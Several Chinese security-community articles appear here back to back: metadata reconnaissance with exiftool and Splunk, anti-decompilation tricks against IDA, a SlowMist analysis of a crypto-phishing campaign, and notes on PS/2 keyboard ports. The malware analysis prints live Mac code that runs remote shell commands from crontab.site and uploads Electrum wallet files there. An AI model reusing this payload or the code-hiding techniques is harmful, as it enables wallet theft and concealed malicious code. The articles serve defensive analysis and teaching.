##### 译文声明
本文是翻译文章，文章来源：sweepatic.com
原文地址：<https://blog.sweepatic.com/metadata-hackers-best-friend/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**传送门**
[**【技术分享】元数据：黑客最好的朋友（上）**](http://bobao.360.cn/learning/detail/4161.html)
在[《元数据：黑客最好的朋友（上）》](http://bobao.360.cn/learning/detail/4161.html)中，我们给大家详细介绍了元数据以及泄漏元数据的危害有多么的严重。接下来，我们将给大家介绍如何分析元数据，并将元数据作为威胁情报使用。
**映射数字足迹**
在这篇文章中，我们假设自己是一名安全分析师，待分析的目标为whitehouse.gov和usa.gov，我们将对这两个域名所泄露的元数据进行数字足迹映射，并从中找出一些有价值的信息。
首先我们要从目标网站上下载感兴趣的文档，我们可以使用以下几种技术：
1.爬虫/网站镜像，下载所有的网站内容
2.使用Google/Bing来搜索公开文件
3.如果可能的话，直接向公司的响应团队所要公开文档
最简单的方法就是获取网站镜像，我们可以使用wget将网站中的所有内容下载到本地：
wget -mk http://www.example.com/
这种方法最明显的缺点就是我们还会下载HTML页面以及其他一些我们并不需要的东西，不过我们待会儿还可以使用bash脚本来过滤掉这些内容。
另一种方法就是使用Google或Bing语法来搜索网站中的索引文件：
site:example.com filetype:pdf
注:使用filetype这种语法的话，Bing搜索出来的内容要比Google的多！
我们可以使用filetype语法来搜索office文档以及图片等内容，而且这种方法不仅可以帮助我们避免去下载那些没用的内容，而且还可以搜索子域名。从另一方面来看，它是依赖搜索引擎实现的，所以只有搜索引擎收录了的内容我们才能查找到，所以很可能会遗漏某些关键内容，具体还取决于网站的robots.txt文件。如果你想通过自动化的方式实现的话，你得自己动手写个脚本，而且依然会涉及到一些手动任务。如果你想使用工具的话，我推荐[snitch](https://github.com/Smaash/snitch)。这款工具虽然很小巧，但功能已经可以满足你的需要了。你可以通过下列命令运行snitch并批量获取目标网站中的公开文件:
python2 snitch.py -C "site:whitehouse.gov filetype:pdf" -P 100
获取到文件之后，我们还要使用[exiftool](https://sno.phy.queensu.ca/~phil/exiftool/)来提取其中的元数据。数据的输出格式为JSON(metadata.json)，之后我们可以将其发送到Splunk引擎来分析所有的数据。
Sweepatic提供的元数据处理脚本：【[点我下载](https://s3-eu-west-1.amazonaws.com/sweepatic-blog-files/Splunk-Metadata/process_documents.sh)】
得到metadata.json文件之后，将其导入到Splunk（运行在Docker容器中）。首先，pull一个Docker Splunk镜像：
docker pull splunk/splunk
启动Splunk：
docker run -d -e "SPLUNK_START_ARGS=--accept-license" -e "SPLUNK_USER=root" -p "8000:8000" splunk/splunk
Splunk将会在本地运行，占用端口为8000。在浏览器中访问localhost:8000，然后完成初始化配置，最后导入需要分析的元数据：
1.点击仪表盘中的“Add Data”
2.点击“Upload”
3.接下来的配置也可以不用修改，保留默认即可，Splunk会自动检测并解析文件
4.来到下一步，在“Index”选项页中创建一个名叫document_metadata的新索引，其他设置不变，我们待会儿会用到这个索引。
5.在“Review”选项页中确认修改，然后完成数据的导入。
**分析元数据**
现在数据端的内容我们已经准备好了，接下来我们就要开始对这些数据进行分析了。
一般来说，软件在嵌入元数据时采用的是键值对的形式，不过具体的格式还得取决于文件格式。幸运的是，exiftool可以直接帮我们将元数据提取成JSON字典的形式，导入Splunk实例后它可以自动解析这些数据。这里的"键"为元数据名，"值"就是元数据的值，而我们就得通过元数据名来过滤出我们所感兴趣的内容。但是，元数据名并没有一定的标准，不同的软件使用的是不同的元数据名，而保存的内容却是差不多的。比如说“Creator”域中包含了创建这份文档的软件信息，但有些软件则用的是“Producer”。
先来看看你能从元数据中发现什么吧！将下列代码拷贝到Splunk的搜索栏中：
index="document_metadata"
| eval software=mvappend(Creator, Producer)
| mvexpand software
| where NOT match(software, "^W+$")
| stats dc(FileName) as count by software
| sort -count
输出结果如下：
你可以看到，某些元数据名为公司或组织名称，这是一种非常好的实践方法。我们不仅可以利用正则表达式过滤出一些旧版本的软件，而且还可以搜索该组织所使用的打印机型号，例如关键字:xerox。
接下来，使用下列语句过滤出文档的创建用户：
index="document_metadata" Author="*"
| stats count(FileName) as count by Author
| sort -count
“Author”域中通常包含了操作系统或软件许可证中的用户名，攻击者可以直接用正则表达式在Splunk中搜索类似u12345或john.doe等格式的用户名，例如^[a-z]{1,3}d{3,}$。实际上，除了用户名之外，我们还可以过滤出邮箱地址。同样的，我们还是使用正则表达式：
index="document_metadata"
| rex field=_raw "(?<email>[-w._]+@[-w._]+)"
| search email!=""
| table FileName, email
在创建文档时，创建人通常会插入关键字，以此来帮助他人精准地搜索到该文件。不过这部分内容有时收集起来比较困难，因为有些软件在嵌入这些信息时使用的是数组，而有些则使用的是字符串（用逗号分隔开）。不过这些对于Splunk来说都不是事儿：
index="document_metadata" Keywords!=""
| eval keyword=case(
isstr(Keywords) and like(Keywords, "%, %"), split(Keywords, ", "),
isstr(Keywords), split(Keywords, " "),
1=1, Keywords
)
| mvexpand keyword
| regex keyword!="^W+$"
| stats count as kw_count by keyword
| sort 20 -kw_count
除了关键字之外，文档中还会包含创建人留下的一些注释信息，例如文档版本或其他的一些记录等等，有的时候创建人在发布这些文档之前很可能会忘记删除这些内容：
index="document_metadata" Comments!=""
| table FileName, Comments
接下来，我们看看“杀伤力”最大的部分：文件路径。这些文件路径可能是本地磁盘路径，或者是网络服务器的共享文件路径，而且文件路径还会暴露Web服务器的文件结构。但这种内容为什么会存在在元数据里面呢?一般来说，导出文档或进行文档格式转换时这种情况才会出现。从元数据中提取文件路径会有一点点复杂，这里仍然需要使用正则表达式（查找路径/unix/style/paths或\windowsfilesharepaths）：
index="document_metadata"
| rex field=_raw ""(?<file_path>(([A-Z]:)?\\\\|/)([-a-zA-Z _.]+(/|\\)){2,}[^"]+)""
| where file_path!="*"
| table FileName, file_path
除了上面这些字符串或键值对形式的元数据之外，我们还可以用Splunk提取出文档创建的时间和日期等信息，并将其解析为图表格式：
index="document_metadata" CreateDate="*"
| eval document_created=case(
match(CreateDate, "^d{4}:d{2}:d{2} d{2}:d{2}:d{2}[-+]d{2}:d{2}"), strptime(CreateDate, "%Y:%m:%d %H:%M:%S%:z")
)
| eval _time=document_created
| bucket _time span=1d
| timechart span=1d dc(FileName) as documents
提取文档的最后修改日期并以图表形式输出：
index="document_metadata" ModifyDate="*"
| eval document_modified=case(
match(ModifyDate, "^d{4}:d{2}:d{2} d{2}:d{2}:d{2}[-+]d{2}:d{2}"), strptime(ModifyDate, "%Y:%m:%d %H:%M:%S%:z")
)
| eval _time=document_modified
| bucket _time span=1d
| timechart span=1d dc(FileName) as documents
**整合信息，制作我们的威胁仪表盘**
在前面的章节中，我们介绍了一些可以从元数据中提取威胁情报的基本查询语句，但这些真的只是冰山一角而已。但是在一篇文章中，我们无法面面俱到地给大家介绍所有元数据的查询方法，不过你现在应该已经学会了如何去挖掘更多有价值的数据了。
我们建议各位同学用本文所介绍的技术来收集关于你公司或组织的文档元数据，然后将它们导入到Splunk中（[点击下载仪表盘](https://s3-eu-west-1.amazonaws.com/sweepatic-blog-files/Splunk-Metadata/dashboard.xml)），Splunk会帮助你把这些数据解析成非常漂亮的图表形式，而它们将帮助你更加清楚地了解你的数字足迹，并让你意识到你当前的安全情况。
最佳的实践方式是定期使用Splunk更新你组织所生成的数据，如果你发现组织中的某个人仍然在使用Word
2007之类的旧版本软件来创建那些存储敏感信息的文档，那你一定要及时警告他，因为他会对整个组织的网络系统以及官方网站造成巨大的安全威胁。
注:如果你想了解更多关于应对方案的内容，请通过官网与Sweepatic团队取得联系，他们也许可以帮到你！ | 社区文章 |
# 【技术分享】漫谈几种反编译对抗技术
|
##### 译文声明
本文是翻译文章，文章来源：ret2.io
原文地址：<https://blog.ret2.io/2017/11/16/dangers-of-the-decompiler/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
传统意义上，（在汇编级别上）对软件进行逆向工程分析是非常繁琐的一个过程，现在的反编译器已经使这一过程的繁琐程度大大简化。[反编译器](https://en.wikipedia.org/wiki/Decompiler)的操作对象仅限于已编译好的机器码（machine
code），其目的是恢复出近似源代码级别的代码。
图1. 反编译过程
毋庸置疑，[支持反编译功能的反汇编器](https://www.hex-rays.com/products/decompiler/)可以为我们提供科学便利。我们只需轻轻按下按钮，就能将晦涩难懂的“机器码”转换为人类可读的源代码，便于逆向工程分析。
实际情况是，研究者越来越依赖于这类技术，这就导致人们需要直接面对这类技术的缺点。在本文中，我们将探讨一些反编译对抗技术，这类技术可以干扰或针对性地误导依赖反编译器的逆向工程人员。
**二、正数SP（堆栈指针）值**
第一种技术是经典又略微“嘈杂”的一种方法，该方法可以用来破坏Hex-Rays反编译器的处理流程。对于IDA
Pro而言，如果某个函数在返回之前没有清理已分配的堆栈（即平衡堆栈指针（stack pointer，SP）），那么该反编译器将拒绝处理该函数。
图2. IDA在反编译过程中如果检测到正数SP值则会弹出错误信息
这种情况之所以会出现，原因在于IDA无法以合理的方式推断特定函数调用的类型定义。
因此，开发者可以将其作为反编译对抗技术，具体方法是在需要隐藏的函数中，使用[不透明谓词](https://reverseengineering.stackexchange.com/questions/1669/what-is-an-opaque-predicate)技术来破坏堆栈指针的平衡状态，达到干扰效果。
``
`positive_sp_predicate` 宏中定义的`add rsp,
4`指令在运行时永远不会被执行，然而该指令会破坏IDA的静态反编译分析过程。当我们尝试反编译`protected()`函数时，会得到如下结果：
图3. 利用不透明谓词破坏堆栈指针平衡状态
这种技术相对而言较为知名，手动修补（patch）或者[修正](https://stackoverflow.com/questions/10165511/ida-positive-sp-value-has-been-found-error)堆栈偏移即可解决这种问题。
[过去](https://github.com/RPISEC/MBE/blob/e3e718895fb2c52a8124719b4fb852a01d5caa2c/include/utils.h#L5)我会将这种技术作为一种简单的权宜之计，使新手逆向工程师（如学生）无法跳过反汇编过程，直接利用反编译器的输出结果。
**三、返回劫持技术**
现在的反编译器一直在追求一个目标，那就是准确识别并抽离编译器生成的低级簿记（bookkeeping
）逻辑，这类信息包括函数的预处理代码段（prologues）/结尾代码段（epilogues）或者控制流元数据。
图4. 编译器生成的函数预处理部分通常包含寄存器、为栈帧（stack frame）所分配的空间等信息
反编译器会在输出结果中去掉这类信息，因为源代码级别并不会涉及到寄存器保存、栈帧空间分配管理等概念。
我们可以在函数返回之前，利用被忽略的这种信息来“旋转（pivot）”栈，并且反编译器不会对这种恶意行为发出任何警告或提示信息（这也可称之为Hex-Rays反编译器启发方法的一种缺陷）。
图5. 将堆栈指针（RSP）引导到ROP链上
[堆栈旋转（Stack pivoting）](http://neilscomputerblog.blogspot.com/2012/06/stack-pivoting.html)技术是二进制利用过程中常用的一种技术，可以实现任意[ROP](https://en.wikipedia.org/wiki/Return-oriented_programming)效果。在这个例子中，我们（作为开发者）会利用该技术来劫持程序执行流程，使毫无准备的逆向工程师措手不及。如果人们仅依赖反编译器的输出结果，他们肯定会错过这个信息。
图6. 反编译main函数后会得到带有堆栈旋转技术的deceptive函数
在这个误导实验中，我们将堆栈切换到一个小型ROP链上，这个ROP链已事先嵌入二进制程序中。程序最终会调用对反编译器“不可见”的某个函数。在本例中，我们最终调用的函数的功能是打印出“Evil
Code”字符串，以证实该函数的确被程序执行。
图7. 执行带有返回劫持技术的二进制程序
上面这个例子所对应的完整代码如下所示，这段代码可以实现在反编译器中隐藏代码：
**
**
**四、滥用“noreturn”函数**
****
IDA在处理过程中会自动将某些函数标记为[noreturn](https://gcc.gnu.org/onlinedocs/gcc-6.4.0/gcc/Common-Function-Attributes.html#Common-Function-Attributes)函数，本文介绍的最后一种技术与这个过程有关。我们经常能看到这类函数，比如标准库中的`exit()`或者`abort()`函数都属于`noreturn`函数。
在生成指定函数的伪代码时，反编译器会忽略调用`noreturn`函数后的任何代码。因为反编译器认为，调用类似`exit()`函数时，位于这些函数后面的代码永远得不到执行机会。
图8. 调用noreturn函数后的代码对反编译器不可见
如果我们能够欺骗IDA，使IDA认为某个函数为`noreturn`函数，那么恶意攻击者就能将代码悄悄隐藏在该函数的调用语句后面。我们可以通过多种方法实现这一效果，某个例子如下所示：
编译上述代码后，我们可以运行基于Binary
Ninja的一个[后期处理脚本](https://gist.github.com/gaasedelen/f318ca48e04b53542e40406a809be1b3)来处理生成的二进制文件，然后交换[Procedure
Linkage Table](https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html)（过程链接表，PLT）中已存储的索引数字。程序在运行时会使用这些索引值来解析已导入的库。
图9. 交换ELF头部中的PLT序号
在这个例子中，我们交换了`srand()`与`exit()`的序号，并调整了某些调用以符合编译结果。这样处理后，IDA会认为在修改版的程序中，`deceptive()`函数调用的是`noreturn`函数`exit()`，但实际上它调用的是`srand()`函数。
图10. 反编译main函数后，某些代码隐藏在deceptive函数中的noreturn调用语句后面
我们在IDA中看到程序调用了`exit()`，实际上，在运行时程序调用的是`srand()`（该语句等同于空指令（no-op））。这种方法给反编译器造成的影响与前面提到的返回劫持技术基本相同。根据执行结果，可以证实程序的确运行了我们的“恶意代码”，但反编译器对此一无所知。
图11. 包含noreturn反编译对抗技术程序的执行结果
虽然这些例子中的恶意代码依然非常明显，然而我们可以在大型函数或者复杂条件代码中利用这些技术，将恶意代码隐藏其中，使之成为攻击者的拿手利器。
**五、总结**
****
反编译器的功能令人惊叹，但这种技术仍然存在不足之处。虽然反编译器面对的是不完整的信息，但它们依然竭尽所能为我们人类提供帮助。恶意攻击者可以（并且也将会）将这种冲突作为欺骗方法加以利用。
随着各行各业越来越依赖反编译器的输出结果，反编译对抗技术也会像反调试技术以及反逆向技术一样，得到人们的青睐。 | 社区文章 |
**作者：爱上平顶山@慢雾安全团队**
**原文链接：<https://mp.weixin.qq.com/s/7MMXj8Lll4YkssOXoxdm4A>**
## **前言**
近日，慢雾安全团队收到情报，有专业黑产团队针对交易所用户进行大规模邮件批量撒网钓鱼攻击。
钓鱼邮件如图：
慢雾安全团队收到情报后，第一时间展开分析。
以下是详细分析过程：
## **攻击细节**
我们点击跳转目标页面：
从上图可以看到，针对 Mac OS X / macOS / Windows 不同系统都给出了下载链接；链接指向黑客木马文件存放位置。
于3天前，创建的账号，里面存在两个项目：
* b *****.github.io
* b****t
上图样本 “Bi****-Setup.exe” 是 Windows 下的恶意文件。
“index.html” 是一个仿冒的升级提示页面，诱导用户升级下载。
## **详细分析**
接下来我们对Windows端和Mac端分别进行分析：
### **1.Windows 端** ：
下图为样本 “Bi****-Setup.exe” 数字签名：
（1）EXE 文件基本信息
文件名称：B****-KYC-Setup.exe
子文件信息：
script.txt/877da6cdd4eb284e2d8887b24a24168c/Unknown
setup.exe/fe1818a5e8aed139a8ccf9f60312bb30/EXE
WinSCP.exe/e71c39688fad97b66af3e297a04c3663/EXE
（2）关键行为
行为描述： 屏蔽窗口关闭消息
详情信息：hWnd = 0x00030336, Text = Deep Onion Setup: Completed, ClassName = #32770
（3）进程行为
行为描述： 创建本地线程
详情信息：
TargetProcess: %temp%\****.exe, InheritedFromPID = 2000, ProcessID = 2888, ThreadID = 2948, StartAddress = 00405209, Parameter = 0001034A
TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3140, ThreadID = 3188, StartAddress = 008B9F7C, Parameter = 00000000
TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3140, ThreadID = 3192, StartAddress = 00819BF4, Parameter = 0272E170
TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3164, ThreadID = 3196, StartAddress = 008B9F7C, Parameter = 00000000
TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3164, ThreadID = 3200, StartAddress = 00819BF4, Parameter = 0272E270
TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3172, ThreadID = 3232, StartAddress = 008B9F7C, Parameter = 00000000
TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3120, ThreadID = 3236, StartAddress = 008B9F7C, Parameter = 00000000
TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3172, ThreadID = 3240, StartAddress = 00819BF4, Parameter = 0272E170
TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3120, ThreadID = 3244, StartAddress = 00819BF4, Parameter = 0272E170
TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3180, ThreadID = 3248, StartAddress = 008B9F7C, Parameter = 00000000
TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3180, ThreadID = 3252, StartAddress = 00819BF4, Parameter = 0272E170
TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3140, ThreadID = 3264, StartAddress = 009B8C28, Parameter = 026F4B90
TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3164, ThreadID = 3280, StartAddress = 009B8C28, Parameter = 026F4C90
TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3172, ThreadID = 3284, StartAddress = 009B8C28, Parameter = 026F4B90
TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3120, ThreadID = 3352, StartAddress = 009B8C28, Parameter = 026F4B90
（4）行为描述： 创建新文件进程
详情信息：
[0x00000c30]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_documents.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\My Documents" "09-06-2020-4:51:51_documents"
[0x00000c44]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_appdata.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\Application Data" "09-06-2020-4:51:51_appdata"
[0x00000c5c]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_localappdata.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\Local Settings\Application Data" "09-06-2020-4:51:51_localappdata"
[0x00000c64]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_onedrive.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\OneDrive" "09-06-2020-4:51:51_onedrive"
[0x00000c6c]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_pictures.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\Pictures" "09-06-2020-4:51:51_pictures"
（5）文件行为
行为描述： 创建文件
详情信息：
C:\Documents and Settings\Administrator\Local Settings\Temp\nsi9.tmp
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\script.txt
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe
C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp
C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp\System.dll
C:\Documents and Settings\Administrator\Application Data\winscp.rnd
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_appdata.log
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_onedrive.log
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_localappdata.log
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_documents.log
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_pictures.log
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\null
（6）行为描述： 创建可执行文件
详情信息：
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe
C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp\System.dll
（7）行为描述： 覆盖已有文件
详情信息：
C:\Documents and Settings\Administrator\Application Data\winscp.rnd
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\null
（8）行为描述： 查找文件
详情信息：
FileName = C:\Documents and Settings
FileName = C:\Documents and Settings\Administrator
FileName = C:\Documents and Settings\Administrator\Local Settings
FileName = C:\Documents and Settings\Administrator\Local Settings\Temp
FileName = C:\Documents and Settings\Administrator\Local Settings\%temp%
FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\nsyA.tmp
FileName = C:\DOCUME~1
FileName = C:\DOCUME~1\ADMINI~1
FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1
FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe
FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.zh-CN
FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.zh-Hans
FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.zh
FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.CHS
（9）行为描述： 删除文件
详情信息：
C:\Documents and Settings\Administrator\Local Settings\Temp\nsi9.tmp
C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp
（10）行为描述： 修改文件内容
详情信息：
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 0
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 32768
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 33203
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 65971
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 66905
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\script.txt ---> Offset = 0
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 0
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 24146
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 44980
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 60884
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 93652
C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp\System.dll ---> Offset = 0
C:\Documents and Settings\Administrator\Application Data\winscp.rnd ---> Offset = 0
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_appdata.log ---> Offset = 0
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_appdata.log ---> Offset = 102
（11）网络行为
行为描述： 建立到一个指定的套接字连接
详情信息：
IP: ##.138.40.##:128,SOCKET=0x000001d0
IP: ##.138.40.##:128,SOCKET=0x000001cc
我们测试打开，自解压:
结果发现用于上传本地用户信息的 FTP 账号密码，同时有一个正常的 Electrum Installer 文件，一旦用户安装后使用， 在 Electrum
下输入的敏感信息将被发送到远程恶意 FTP 服务器接收。
2020年06月02日 开始，已经有用户陆续中招。
### **2.Mac 端：**
（1）安装命令：
（2）脚本内容：
（3）恶意地址：<https://github.com/deep-onion>(模仿知名项目<https://deeponion.org/>
的Github地址 <https://github.com/deeponion> )
恶意地址下也有两个项目：
1. deep-onion.github.io
2. wallet
<https://github.com/deep-onion/deep-onion.github.io>
此文件此处不做分析。
（4）Mac 端
<https://github.com/deep-onion/wallet>
恶意文件是 DeepOnion
执行恶意脚本后是一系列恶意操作，
如：
try {
shell_exec("spctl --master-disable");
$ksh = trim(shell_exec("which ksh"));
shell_exec("cp $ksh $homedir/.ksh");
shell_exec("cd $homedir && chown root:wheel .ksh && chmod a+rwxs .ksh");
shell_exec("cd $homedir && echo '#!/bin/bash' > .strtp && echo 'sleep 300' >> .strtp && echo 'curl http://crontab.site/?log=startup\&key=startup\&id=$id | $homedir/.ksh' >> .strtp && chown root:wheel .strtp && chmod a+x .strtp");
try {
$dir = "$homedir/.electrum/wallets";
if (file_exists($dir)) {
$files = scandir($dir);
foreach ($files as $file) {
shell_exec("curl -s --data-binary \"@$dir/$file\" http://crontab.site/?log=startup\&key=$file\&id=$id");
}
}
} catch (Exception $e) {
shell_exec('echo "Caught exception: ' . $e->getMessage() . '"' . " >> $log");
}
shell_exec("curl -s --data-binary \"@$log\" http://crontab.site/?log=startup\&key=log\&id=$id");
whoami >> /tmp/cron.log
ls -al /Users/ >> /tmp/cron.log
ls -al $HOMEDIR >> /tmp/cron.log
curl --data-binary "@/tmp/cron.log" http://crontab.site/?log=startup\&key=cron.log\&id=$UID
## **大致流程**
通过以上一些列操作，从而盗取用户隐私信息。
**备注：**
C2 信息：
crontab.site
邮箱 [email protected]
phone_tag +7.9453949549
注册时间 2020-04-20 17:47:03
过期时间 2021-04-20 23:59:59
更新时间 2020-04-20 17:47:04
## **慢雾建议**
针对本次攻击事件慢雾安全团队建议：
* 认清官方邮箱后缀
* 谨慎对待未知来源邮件里的链接与附件
* 怀疑一切以“升级”、“账号异常”等理由的邮件
* 对于需要处理但可疑的邮件内容，需及时咨询专业人员
* * *
* * * | 社区文章 |
#### 键盘接口
还记着以前的老式电脑，键盘鼠标音响全是拆卸，主机后面全是各种拔插的设备孔，当时的键盘鼠标通过 PS/2接口进行设备连接，就是圆头插孔，绿色是鼠标紫色是键盘。
Personal
2系列是IBM在80年代推出的，而且兼容性非常好，是可以做到无冲突，意思就是说同时按下两个键，会被精准识别。而USB来说只能说是逻辑无冲突，最多6个键同时按下无冲突，因为早期USB传输中继最大8bit，2bit用来记录状态，6bit用来记录键盘按下或弹起的扫描状码，USB6键就是这个说法。但是对于接收来说，不会同时传递两个数据的，后面在原理层面会讲解，USB便捷支持热拔插，USB传输效率会高，价格也不贵，还可以扩展USB
HUB，PS/2算是完败。
而现在随着发展无线键盘鼠标更是非常普及，利用蓝牙连接，有些特殊的还用P2P来做为连接（长线连接）。
#### 系统处理键盘过程：
下述是一段汇编代码，因为涉及两次硬中断与轮询，下述只是个伪汇编，为了介绍一些内容而已，内联汇编如下所示：
static byte scandata;
// 读数据
__asm
{
push eax
// 读出来数据
IN al, 0x64h
and al, 00000010b // 0x2
cmp al, 0 // 判断读取是否为真
// 我这里就不写失败jne or jnz，假设成功
mov scandata, al
pop eax
}
if(!(scandata & 2))
printf("%x", scandata);
// 假设写入到端口64h，其实这是不对的,DOS下直接就JJ
__asm
{
push eax
mov al, scandata
OUT 0x64, al
pop eax
}
键盘控制器KBC，Intel
8042这个东西负责读取键盘扫描缓冲区数据，ECE1007负责连接键盘和EC，将键盘动作转换成扫描码。所以说两个IO端口进行通信的，分别是0x60与0x64，引用一段上古转载，作者留下一首诗词不知家乡是何方....
#define I8042_COMMAND_REG 0x64
#define I8042_STATUS_REG 0x64
#define I8042_DATA_REG 0x60
通过8042芯片发布命令是通过64h,然后通过60h读取命令的返回结果。或者通过60h端口写入命令所需要的数据。可以看到2个数据分成了三个宏。
其中的64h就是分为读与写状态的。也就是说，当需要读取status寄存器的时候，就要从0x64读，也就是I8042_STATUS_REG.写入command寄存器的时候，要使用I8042_COMMAND_REG。这样做是为了清楚不同情况下自己的动作，归根结底，两个都是0x64,只是状态的区别。
而向8048发布命令，则需要通过60h.读取来自于Keyboard的数据（通过60h）。这些数据包括Scan Code（由按键和释放键引起的），对8048发送的命令的确认字节（ACK）及回复数据。Command分为发送给8042芯片的命令和发送给8048的命令。它们是不相同的，并且使用的端口也是不相同的（分别为64h和60h）。
有兴趣的可以写一个真正的键盘端口读写过滤，我记着王爽老师汇编在最后几章代码描述键盘DOS下描述全面，同样寒江独了一书中也进行了直接端口读写章节介绍，都有源码。
当按下键盘是会发送一个硬件外部中断，比如键盘中断、打印机中断、定时器中断等，然后内部会通过中断码去找对应的中断处理服务，如键盘管理中断服务等，如触发0x93。
PS/2键盘端口是60h，IN AL,
60h从端口输入，端口获取的数据最高位进行逻辑与比较，当我们按下键盘触发中断，CPU会读取0x60的扫描码，0x60有一个字节，扫描码保存可以是两个字节，键盘弹起的时候会有一个断码，断码
= 通码 + 0x80，这里深层原理不在深究。
ps/2键盘扫描码表:
寒江独钓书中是这样表述的：PDO字面意思就是说物理设备，然后是设备栈最下面的设备对象，csrss.exe进行中RawInputThread线程通过GUIDClass来获取键盘设备栈中的PDO符号链接，也就是最底层的设备对象。
RawInputThread执行函数OpenDevice，通过结构体OBJECT_ATTRIBUTES找到设备栈的PDO符号链接，这个对象我们在windbg看一下，写过ObjectHOOK的对这些理解结构体理解应该很简单。
kd> dt _OBJECT_ATTRIBUTES
nt!_OBJECT_ATTRIBUTES
+0x000 Length : Uint4B
+0x004 RootDirectory : Ptr32 Void
+0x008 ObjectName : Ptr32 _UNICODE_STRING 对象名称
+0x00c Attributes : Uint4B
+0x010 SecurityDescriptor : Ptr32 Void
